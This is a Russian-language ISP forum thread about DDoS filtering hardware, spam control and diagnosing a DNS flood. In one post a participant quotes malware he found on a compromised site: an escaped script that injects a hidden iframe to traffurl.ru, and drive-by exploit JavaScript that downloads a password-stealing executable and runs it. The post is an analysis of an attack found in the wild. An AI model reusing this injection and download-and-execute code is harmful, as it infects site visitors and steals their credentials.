[Прохожий]

Ваша сентенция об опережающем росте скоростей - несправедлива, ибо на ЭТИХ скоростях давить уже поздно, это бэкбоны, а давить эффективно можно только на краю. Уж до десятки - это точно. Это раз. Спорить по этому конкретному поводу будем?

 

Да, будем. ICMP/UDMP флуд и всякую подобную дрянь давить нужно там! и давят её именно там... и давить еще проще именно там.

Не согласен. Интеллект на магистрали не нужен, потому что его требуется СЛИШКОМ МНОГО. Цель ядра - тупой и быстрый свитчинг, цель перифирии - грамотно выдать в ядро пакеты для тупого и быстрого свитчинга. К сожалению, только такая модель масштабируема при текущем уровне развития цифровой электроники.

 

Самообучение это эффект визуальный... внутри оно линейно до дури.

Правильно ли я понимаю, что Вы готовы предъявить простой и линейный алгоритм определения "нежелательного" трафика?

 

если задача не имеет логического конца, то гибкость возможна только в софте... если мы говорим за http балансер

Спорно, очень спорно. Допустим, я имею FPGA с двумя GE MAC на борту. FPGA на каждом цикле старта грузится, по сути, с флеша. В который я могу записать все, что угодно с помощью контрол-процесора. Хватило бы ячеек только :)

 

И кстати, при чем тут http балансер? Мы вообще-то совсем о другом, вроде :)

 

Вы мне кстати выше писали, что писюки на 500kpps не работают... за ваши кровные готовы устроить демо... :)

Я этого не писал, Вы меня с кем-то путаете. Кроме того, раутинг - это вообще не вопрос, чип стоимостью 20$ дает запросто 2-5 mpps раутинга, можете сами себе продемонстрировать, взяв любой L3 свич :) Вопрос в глубине и сложности обработки. Вот если Вы попорбуете хотя бы просто отшейпить 250К потоков - то ни про какие 1 mpps на фре разговора уже не будет. NP за 250 грин делает это и еще много - много другого в легкую.

 

 

раутинг и анализ это разные задачи... это примерно как потоковое криптование и файловое архивирование.

Ну да, именно так. Только вот дело-то в том, что NP делались как раз не для раутинга, а для интеллектуальной обработки трафика. Вопрос только в том, как Вы используете предоставляемые им механизмы.

 

как же все мечтают спам в хардваре фильтровать... и надо заметить у них это получается... только внутри хардваре писюк как всегда

Ну, спам - это все же несколько другой уровень анализа, т.к. анализировать надо сообщение целиком, при чем в идеале - семантически, это уже, простите, L7+ получается. Поэтому задача получается с другими приоритетами, т.е. задержки пофигу, зато нужны большие буферные пространства. Получаем - писюк.

 

 

Если бы у меня был под рукой поток почты уровня яндакса/рамблера или мыл.ру, то я бы не думал о проблеме спама... именно в их массштабах эта задача имеет простое и доступное решение.

Пардон, если она такая простая, эта задача, чего до сих пор не сделали-то? Из Вашего посыла получается одно из двух, либо в яндексе и мыле работают идиоты, либо зачем-то им нужно сохранить спам. Есть еще третий вариант: задача не так проста, а обратная связь не так сильна...

 

Вы сталкивались с анализом исходящей почты без обратной связи?

Доказать математически не смогу, но сильно подозреваю, что эта задача вообще адекватного решения не имеет... Только в рамках набора правил, выработанных на системе, в которой обратная связь есть.

 

Касперские могут вычистить РУнет за неделю, если не меньше... IMHO... с их ресурсом я бы за день вычистил... и не только РУнет

Любопытно. Каким же методом? Если админы клали на абузы? Напалмом? Встречным флудом? Или чем? Ну да, технически возможно создать базу тех же хостов с инжектами, дальше что? Соревнование на скорость между созданием хостов и пополнением базы? Или как?

 

Понятно, что только глупый кот выловит всех мышей :) И все же по части их возможностей осетра стоило бы урезать :)

 

</OFFTOPIC>Мне как-то рассказывали про забавнейший эпизод, когда сигнатура к вирусу появилась в базе одного из антивирусов на сутки раньше, чем пошел в распространение сам вирус :) <OFFTOPIC>

 

если будет решена проблема с мгновенным заражением большого количества компьютеров, то и вопрос так остро стоять не будет...

"вы и способ знаете?" (с) Серьезно, как это можно решить, а? Какие идеи?

 

Те кто занимаются спуфом обычно прикрывают атаки кучей валида... и из всей этой кучи проследить из какого пира валит именно спуф возможности нет... как минимум руками.

Ну, руками вообще многие вещи делать не стоит :)

 

для всяких фулпакетрейт дел нужна память с производительностью большей интерфейса... в писюке есть кэш CPU, а в FPGA такого жира не скоро еще придвидится.

Вы ошибаетесь. Сравнительно небольшой массив памяти может быть сформирован прямо на FPGA, если надо много, не проблема приростить внешнюю память ЛЮБОГО типа. Цена вопроса. Большинство NP, к примеру, используют внешний SDRAM, и им этого вполне хватает, чтобы в фуллрейте делать от двух до десяти G. Кэш CPU - это просто смешно, какие там объемы, а? 12 MB на последних интелах?

[kostich]

Ваша сентенция об опережающем росте скоростей - несправедлива, ибо на ЭТИХ скоростях давить уже поздно, это бэкбоны, а давить эффективно можно только на краю. Уж до десятки - это точно. Это раз. Спорить по этому конкретному поводу будем?

 

Да, будем. ICMP/UDMP флуд и всякую подобную дрянь давить нужно там! и давят её именно там... и давить еще проще именно там.

Не согласен. Интеллект на магистрали не нужен, потому что его требуется СЛИШКОМ МНОГО. Цель ядра - тупой и быстрый свитчинг, цель перифирии - грамотно выдать в ядро пакеты для тупого и быстрого свитчинга. К сожалению, только такая модель масштабируема при текущем уровне развития цифровой электроники.

Для дропа icmp/udp надо много логики? Как по мне, так я бы вообще для продвинутых клиентов ДЦ сделал бы несколько комунити, суть которых сводилась бы к завороту трафика через ACL в которых тупо дропается какие-то виды не нужного трафика... и логики там надо минимум кстати.

 

Самообучение это эффект визуальный... внутри оно линейно до дури.

Правильно ли я понимаю, что Вы готовы предъявить простой и линейный алгоритм определения "нежелательного" трафика?

 

если задача не имеет логического конца, то гибкость возможна только в софте... если мы говорим за http балансер

Спорно, очень спорно. Допустим, я имею FPGA с двумя GE MAC на борту. FPGA на каждом цикле старта грузится, по сути, с флеша. В который я могу записать все, что угодно с помощью контрол-процесора. Хватило бы ячеек только :)

 

И кстати, при чем тут http балансер? Мы вообще-то совсем о другом, вроде :)

да мы так, о своем... для тех кто понимает...

 

 

раутинг и анализ это разные задачи... это примерно как потоковое криптование и файловое архивирование.

Ну да, именно так. Только вот дело-то в том, что NP делались как раз не для раутинга, а для интеллектуальной обработки трафика. Вопрос только в том, как Вы используете предоставляемые им механизмы.

Приведите примеры NP, пожалуйста :)

 

как же все мечтают спам в хардваре фильтровать... и надо заметить у них это получается... только внутри хардваре писюк как всегда

Ну, спам - это все же несколько другой уровень анализа, т.к. анализировать надо сообщение целиком, при чем в идеале - семантически, это уже, простите, L7+ получается. Поэтому задача получается с другими приоритетами, т.е. задержки пофигу, зато нужны большие буферные пространства. Получаем - писюк.

а фильтрация ddos это не L7+ ?

 

Если бы у меня был под рукой поток почты уровня яндакса/рамблера или мыл.ру, то я бы не думал о проблеме спама... именно в их массштабах эта задача имеет простое и доступное решение.

Пардон, если она такая простая, эта задача, чего до сих пор не сделали-то? Из Вашего посыла получается одно из двух, либо в яндексе и мыле работают идиоты, либо зачем-то им нужно сохранить спам. Есть еще третий вариант: задача не так проста, а обратная связь не так сильна...

В яндексе не идиоты - там работает, в mail.ru технологические сложности - там тоже работают, а в ремблере порядок рано или поздно наведет мегамакс™. Первая часть задачи при фильтрации спама сводится к низкоуровневому анализу соединений с использованием пассивных и активных технологий, что позволяет отделить для релеев всякие не relay2relay конекты... ну а потом уже контент анализ. В их массштабе, когда почту можно домаркировывать при заборе её по pop3 или при заходе в ящик через веб, решение алгоритмически понятно. Если добавить к их задаче FPGA based девайсы для вычисления хэшей, то анализ они смогут делать более глубже т.к. качество вычисляемых хэшей и их суммарное количество будет на порядки выше. Но пока, простите, писюков более чем хватает. Хотя от платки делающий md5 быстрее проца я бы не отказался... но боюсь упрется всё в шину.

 

Касперские могут вычистить РУнет за неделю, если не меньше... IMHO... с их ресурсом я бы за день вычистил... и не только РУнет

Любопытно. Каким же методом? Если админы клали на абузы? Напалмом? Встречным флудом? Или чем? Ну да, технически возможно создать базу тех же хостов с инжектами, дальше что? Соревнование на скорость между созданием хостов и пополнением базы? Или как?

Понятно, что только глупый кот выловит всех мышей :) И все же по части их возможностей осетра стоило бы урезать :)

Хосты не могут так быстро инжектится как Вы думаете... технология заражения у дрочеров(тм) доведена до автоматизма - с тырилок паролей выгребается фтп, дальше по этим фтп идет скрипт и проставляет инжекты, с этих инжектов прогружаются тырилки паролей. Что-то менее дибильно, а что-то более дибильно... если разом всё накрыть, то на рынке у них будет недельный-месячный отдых... а сайты кстати стоят по большей части там где на абузы не кладут.

 

</OFFTOPIC>Мне как-то рассказывали про забавнейший эпизод, когда сигнатура к вирусу появилась в базе одного из антивирусов на сутки раньше, чем пошел в распространение сам вирус :) <OFFTOPIC>

Это вообще элементарно и ничего такого тут нет - сигнатура уровня метода криптования, пакования и т.д. Чем такое бесит, что от антивируса нет более внятной диагностики за исключением названия упаковщика или криптовщика.

 

если будет решена проблема с мгновенным заражением большого количества компьютеров, то и вопрос так остро стоять не будет...

"вы и способ знаете?" (с) Серьезно, как это можно решить, а? Какие идеи?

см. выше... все дело в сайтах откуда сливают.

 

Те кто занимаются спуфом обычно прикрывают атаки кучей валида... и из всей этой кучи проследить из какого пира валит именно спуф возможности нет... как минимум руками.

Ну, руками вообще многие вещи делать не стоит :)

ну можно взять fpga и за пару лет запрограммить там решение для такого анализа, но толку от этого, если мудилку хочется найти сейчас?

 

 

для всяких фулпакетрейт дел нужна память с производительностью большей интерфейса... в писюке есть кэш CPU, а в FPGA такого жира не скоро еще придвидится.

Вы ошибаетесь. Сравнительно небольшой массив памяти может быть сформирован прямо на FPGA, если надо много, не проблема приростить внешнюю память ЛЮБОГО типа. Цена вопроса. Большинство NP, к примеру, используют внешний SDRAM, и им этого вполне хватает, чтобы в фуллрейте делать от двух до десяти G. Кэш CPU - это просто смешно, какие там объемы, а? 12 MB на последних интелах?

ужыс... в те 12 мегабайт интеловой памяти можно вместить больше 1 миллиона рулесов.... сравните скорость аксеса к ним и скорость аксеса к любой памяти которую можно присобачить к FPGA.. подумайте о локингах при параллельной обработке и т.д... да это жопа короче... именно по этому еще высокопроизводительных РАБОЧИХ FPGA based DDOS протекшен систем и нет.

 

ps. да, кстати, все лидеры рынка сидят на своих солюшенах...

Изменено 8 апреля, 2008 пользователем kostich

[kostich]

Сегодня утром полез на супермикро.ру, каспер по свински визжит и чо я там вижу... не ожидал там .ru домен увидеть, ща подробности скидываю

 

<script>alert(unescape("%77%69%6e%64%6f%77%2e%73%74%61%74%75%73%3d%27%44%6f%6e%65%27%3b%64%6f%63%75%6d%65%6e%74%2e%77%72%69%74%65%28%27%3c%69%66%72%61%6d%65%20%6e%61%6d%65%3d%61%61%34%33%64%63%32%63%33%20%73%72%63%3d%5c%27%68%74%74%70%3a%2f%2f%74%72%61%66%66%75%72%6c%2e%72%75%2f%73%6c%69%76%3f%27%2b%4d%61%74%68%2e%72%6f%75%6e%64%28%4d%61%74%68%2e%72%61%6e%64%6f%6d%28%29%2a%33%33%39%35%30%29%2b%27%64%36%38%34%65%34%32%62%5c%27%20%77%69%64%74%68%3d%31%39%34%20%68%65%69%67%68%74%3d%31%37%35%20%73%74%79%6c%65%3d%5c%27%64%69%73%70%6c%61%79%3a%20%6e%6f%6e%65%5c%27%3e%3c%2f%69%66%72%61%6d%65%3e%27%29")); </script>

 

дефачим нормальным скриптом:

 

window.status='Done';document.write('<iframe name=aa43dc2c3 src=\'http://traffurl.ru/sliv?'+Math.round(Math.random()*33950)+'d684e42b\' width=194 height=175 style=\'display: none\'></iframe>')

 

там ясен перец сидит сплойт очередной, который слегка видоизменен:

 

var res=(xio+koi+nin+uni); var t = z.CreateObject(res,'');
var name = './/..//~tmp1174.exe';
try { t.type = 1; q.open('G'+'E'+'T','http://traffurl.ru/sliv/load.php',false);
q.send(); t.open(); t.Write(q.responseBody);
t.SaveToFile(name,2); t.Close(); } catch(e) { }
try { s.shellexecute(name); } catch(e) { }}

 

и по урлу с load.php отдается .exe... И КАК ВЫ ДУМАЕТЕ ЧТО ТАМ? очередной Pinch.... теперь у всех у кого пробило свиснет очередные пароли от FTP и на тех сайтах тоже будет стоять инжект... ну аськи, мыло и т.д... это фигня всё.

 

 

ps. причина как раз вот в этом...

pps. мне радоваться за касперов, что они вот этим теперь у каждого визжать будут? или мне огорчаться из-за того, что это там висеть будет до дури... ну в Ниагару я позвоню т.к. дружим, но Каспер же мог и репорт предложить сформировать.

Изменено 9 апреля, 2008 пользователем kostich

[kostich]

И главное какой свежак -> http://www.virustotal.com/ru/analisis/50f0...90fe39e1e268918, кстати по их Касперовской базе он еще не виден.

 

По данным VirusTotal виден только AntiVir (DR/Delphi.Gen) и Ikarus (Virus.Win32.Zapchast.DA), Webwasher-Gateway (Trojan.Dropper.Delphi.Gen).

 

Результат: 3/32 (9.38%)

И сплойт, надо заметить, не полное гумно -> http://www.virustotal.com/ru/analisis/2204...23da32f9af4e965

 

Сплойт отдетектился только AntiVir (HTML/Rce.Gen), ClamAV (JS.Agent-6), eSafe (JS.Agent.if), F-Secure (Trojan-Clicker.HTML.IFrame.bk), Kaspersky (Trojan-Clicker.HTML.IFrame.bk), Sophos (Mal/Iframe-F), Webwasher-Gateway (Script.Rce.Gen)

 

Результат: 7/32 (21.88%)

зы. С хоста загрузки не то прикрыли не то сняли... скорее последнее.

 

Изменено 9 апреля, 2008 пользователем kostich

[kostich]

Сори за полный оффтоп, но это наглядная демонстрация:

 

http://www.google.ru/search?complete=1&amp...mp;lr=&aq=f

 

http://1stat.ru/?domain=traffurl.ru

 

1 2008-03-16 ns1.googleset.info. ns2.googleset.info.

2 2008-03-11 ns1.medicalproc.net. ns2.medicalproc.net.

3 2008-02-13 ns1.3apa3b1.net. ns2.3apa3b1.net.

4 2008-02-10 nkvd.su

5 2008-01-20 ns1.f1del.in. ns2.f1del.in.

6 2008-01-18 ns1.lat-dns.org. ns2.lat-dns.org.

7 2008-01-17 ns1.cybns.info. ns2.cybns.info.

8 2008-01-06 ns1.x4kep.cn. ns2.x4kep.cn.

9 2007-12-21 ns1.security4u.cn. ns2.security4u.cn.

 

А кто еще в этой Цэшке рядом стоял?

 

www.EPOSTE.ru 78.129.166.15

www.SPAMHOST.ru 78.129.166.15

www.ZAKMEDIA.ru 78.129.166.15

 

http://1stat.ru/?domain=spamhost.ru

 

1 2008-04-02 разделегирован

2 2008-03-13 ns1.aolyropa.in. ns2.aolyropa.in.

3 2008-02-28 ns1.myfly14.net. ns2.myfly14.net.

4 2008-02-07 ns1.aolyropa.in. ns2.aolyropa.in.

5 2008-02-02 ns1.myfly14.net. ns2.myfly14.net.

6 2008-01-29 ns3.qdedicated.com. ns4.qdedicated.com.

7 2008-01-27 ns13.mdwebhosting.com.au. ns13.websiteactive.com. ns14.mdwebhosting.com.au. ns14.websiteactive.com.

8 2008-01-25 ns1.webimplementation.com.au. ns2.webimplementation.com.au.

9 2008-01-22 ns3.qdedicated.com. ns4.qdedicated.com.

10 2008-01-18 разделегирован

11 2007-10-10 ns1.qdedicated.com. ns2.qdedicated.com.

12 2007-05-31 ns1.host17.info. ns2.host17.info.

Изменено 9 апреля, 2008 пользователем kostich

[Просто интересуюсь]

Господа, а можно чуток поподробнее про тайну связи. Я, конечно, читал ЗоС и все такое. Но если я вижу что от клиента А валит тонна писем на разные адреса, я что не вправе заглянуть в письмо, узреть там спам и отключить его с уведомлением о причинах и приложением образца спама ?

[kostich]

Господа, а можно чуток поподробнее про тайну связи. Я, конечно, читал ЗоС и все такое. Но если я вижу что от клиента А валит тонна писем на разные адреса, я что не вправе заглянуть в письмо, узреть там спам и отключить его с уведомлением о причинах и приложением образца спама ?

Если в договоре описать что абонент соглашается с анализом его трафика какой-то автоматизированной системой, то вопросов конечно не возникнет. В США вот, реальный случай был, когда потушили человеку порт только за то что он в промиск ушел... а человек всего-то tcpdump запустил. Когда почитали договор, то там был пункт про сниффинг. С одной стороны маразм, но с другой стороны договор есть договор. А в РФ у нас, мудланы всякие, гасят операторский стык из-за фейковых абузов и уходят домой спать. И вот тут, даже если в договоре есть пункт про спам, я имею право на них наехать по поводу прослушивания моего трафика т.к. иного способа доказать был ли там спам или не было нет... абузы это всё фигня. Своим же пишу что трафик пропускается через АСАТА (автом. сис. анализа трафа абонента) и что он соглашается там со всем этим беспределом со стороны системы и любые ошибки этой системы там короче не могут являться основанием для претензий... ну в общем если не нравится, то не подключайся. Правда в моем случае хостинг и дедикейтед, что крови иногда пьет больше чем спам от канального абонента. Если ему на дедик подсадили грязь, то с сотошной дырки он может вылить столько, что потом два месяца абузы разгребать будешь.

Изменено 14 апреля, 2008 пользователем kostich

[Просто интересуюсь]

Правда в моем случае хостинг и дедикейтед

Аналогично, потому и спрашиваю. Каждый, ну ... 10й, норовит устраивать рассылки со своего сайта. Примерно в одном случае из, ну ... 50, обнаруживается что владелец аккаунта о рассылке понятия не имел, а ему просто хакнули сайт через дырку и повалил спам. Если не заглядывать в то, что они шлют, можно напосылать такого что мало потом не покажется.

То же самое касается и почты, пачками рассылаемой через почтовик. Есть куча гениев, которые даже с авторизацией умудряются настроить свои аутлуки на рассылку по базе абонентов, которую они конечно же собрали самым легальным способом.

[Andrei]

Шла на нас DDOS-атака по 53-му порту.

Основной трафик вроде закрыли, но iftop на внешнем интерфейсе все равно показывает следующее (фрагмент):

87.226.ххх.ххх:domain                                    <=> .:domain                                                   303Kb   353Kb   338Kb
87.226.ххх.ххх:domain                                    <=> .:domain                                                   298Kb   353Kb   338Kb
ns.хххxxt.ru:domain                                     <=> .:domain                                                   301Kb   351Kb   337Kb
87.226.ххх.ххх:domain                                    <=> .:domain                                                   298Kb   349Kb   334Kb

Что такое ".:domain" в данном случае (domain - это запрос по 53 порту, а вот почему вместо ip адреса назначения трафика точка)?

[bitbucket]

Что такое ".:domain" в данном случае (domain - это запрос по 53 порту, а вот почему вместо ip адреса назначения трафика точка)?

tcpdump -niHHH udp port 53 адрес не показывает ? Может это iftop так работает.

[karpa13a]

а почему бы и нет?)

я про отсутствие срц

Изменено 10 сентября, 2012 пользователем karpa13a

[st_re]

Выб таки tcpdump то глянули то, что там такое ресолвят? Может у Вас там просто октрытые всем ресолверы и через Вас спамеры MXы ресолвят. Ну как вариант. И вообще из Ваших цифр не понятно откуда и куда ходят запросы. А то это Вы запустили iftop без -n и оно ресолвит и ресолвит, что там мимо пролетает вдруг.

[Andrei]

Спасибо за советы

iftop -n -i eth2 показала source ip-ы. Посмотрю по whois кто там держит эти сетки и напишу на abuse.

Хотя среди адресов есть 111.90.133.116, который whois не опознает :(

 

Может у Вас там просто октрытые всем ресолверы и через Вас спамеры MXы ресолвят. Ну как вариант.

В BIND в named.conf.options я указал список своих сетей в allow-recursion.

Этого не достаточно?

[bitbucket]

В BIND в named.conf.options я указал список своих сетей в allow-recursion.

Этого не достаточно?

Нет. Если ваши юзеры срезолвили запрашиваемый адрес и он есть в кеше, то allow-recursion не работает.

 

ЗЫ: абузы можно и не писать - их читать ТАМ никто не будет.

[st_re]

Спасибо за советы

iftop -n -i eth2 показала source ip-ы. Посмотрю по whois кто там держит эти сетки и напишу на abuse.

 

Э... Если это действительно Вас ддосят, то 99.9% что досят не оттуда, откуда src у запросов..... Кстати если есть какието отдельные запросы, очень массовые, например NS . то это не Вас досят, а досят тех, чьи IP в запросе в src... ддосят посылая миллиарды короткирх запросов по тысячам открытых на такие запросы NSов с IP жертвы.. Ответ в разы больше и прет с кучи направлений. А откуда идут те запросы, то Вам неведомо. Вы просто им помогаете :) ip источника таких запросов - поддельный. udp чай...

 

Может у Вас там просто октрытые всем ресолверы и через Вас спамеры MXы ресолвят. Ну как вариант.

В BIND в named.conf.options я указал список своих сетей в allow-recursion.

Этого не достаточно?

 

allow cache еще есть. Существующие в кеше записи отдаются по умолчанию. И уберите 53 порт из src для запросов.. во первых не секьюрно (ответ проще подделать) во вторых тут будет видно ваши запросы или запросы вам. А то может Вам просто втюхивают лажу, в надежде, что вы ее съедите. и поедете Вы вместо микрософта за апдейтами на сайт васи-хакера за троянами.

[bitbucket]

ip источника таких запросов - поддельный. udp чай...

Ну фильтровать что шлет клиент оператор просто обязан.

[st_re]

2 bitbucket осталось убедить в этом миллионы DC и провайдеров по миру.. А так да... :)

[bitbucket]

2 bitbucket осталось убедить в этом миллионы DC и провайдеров по миру.. А так да... :)

Ну тут вроде не dc провайдер. Andrei, у вас как со спуфингом дела обстоят ? Боритесь ? Ловите ? По шапке даете ?

[st_re]

ну так вроде по условию задачи это идет снаружи c чужими src на сервера Andrei... Что он должен фильтровать тут ?

[bitbucket]

ну так вроде по условию задачи это идет снаружи c чужими src на сервера Andrei... Что он должен фильтровать тут ?

Спич был про спуфинг и его фильтрацию. Я просто поинтересовался наличием фильтров давящих спуфинг своих абонентов.

 

По задаче: без tcpdump все равно не понять что это за трафик, причем tcpdump -s0

[Andrei]

Э... Если это действительно Вас ддосят, то 99.9% что досят не оттуда, откуда src у запросов..... Кстати если есть какието отдельные запросы, очень массовые, например NS . то это не Вас досят, а досят тех, чьи IP в запросе в src... ддосят посылая миллиарды короткирх запросов по тысячам открытых на такие запросы NSов с IP жертвы.. Ответ в разы больше и прет с кучи направлений. А откуда идут те запросы, то Вам неведомо. Вы просто им помогаете :) ip источника таких запросов - поддельный. udp чай...

Может быть.

 

Может у Вас там просто октрытые всем ресолверы и через Вас спамеры MXы ресолвят. Ну как вариант.

В BIND в named.conf.options я указал список своих сетей в allow-recursion.

Этого не достаточно?

 

allow cache еще есть. Существующие в кеше записи отдаются по умолчанию. И уберите 53 порт из src для запросов.. во первых не секьюрно (ответ проще подделать) во вторых тут будет видно ваши запросы или запросы вам. А то может Вам просто втюхивают лажу, в надежде, что вы ее съедите. и поедете Вы вместо микрософта за апдейтами на сайт васи-хакера за троянами.

Что значит "уберите 53 порт из src для запросов" и как это сделать?

Наш сервер разумеется отвечает на dns-запросы, т.к. у нас есть небольшой хостинг, свой почтовый сервер, клиенты регали свои домены и размещали у нас записи primary и secondary DNS-ов. Так что тут мы просто должны отвечать на DNS-запросы.

[bitbucket]

Что значит "уберите 53 порт из src для запросов" и как это сделать?

Разделить сервер для хостингов с сервером для юзеров: по идее это должны быть разные даже программы: например dnscache и bind. Так как от юзеровских запросов у bind-а память теряется и ему потом плохеет, а dnscache вроде живет более-менее стабильно.

 

так вот у сервера "для юзеров" исходящий порт при рекурсивном запросе должен быть не 53.

[nuclearcat]

powerdns recursor и auth неплохо дружат друг с другом и их же можно скрестить, чтобы получить искомое на одном сервере.

[Andrei]

По задаче: без tcpdump все равно не понять что это за трафик, причем tcpdump -s0

root@atlas:~# tcpdump

bash: tcpdump: command not found

 

К примеру iftop -n -i eth2 показвает, что идет большое кол-во запросов с адреса 94.236.66.210

Записываю это дело в файл:

tshark -i eth2 -w /tmp/94_236_66_210.pcap host 94.236.66.210

Файл в аттаче

94_236_66_210.zip

[bitbucket]

root@atlas:~# tcpdump

bash: tcpdump: command not found

Плохо то как....

 

К примеру iftop -n -i eth2 показвает, что идет большое кол-во запросов с адреса 94.236.66.210

Записываю это дело в файл:

tshark -i eth2 -w /tmp/94_236_66_210.pcap host 94.236.66.210

Файл в аттаче

 

Похоже все таки ваш dns большим количеством запросов валят. И во всех запросах там A ripe.net спрашивают ? Если везде, то

проще pcf фильтром обрезать на свиче все внешние запросы про A ripe.net

 

powerdns

Насколько хорошо оно житвет как кеширующий dns ? А то dnscache вроде и быстрый, но периодически ему плохеет непонятно почему. Так что ему ищется замена, пока вот поменяли кое-где на unbound.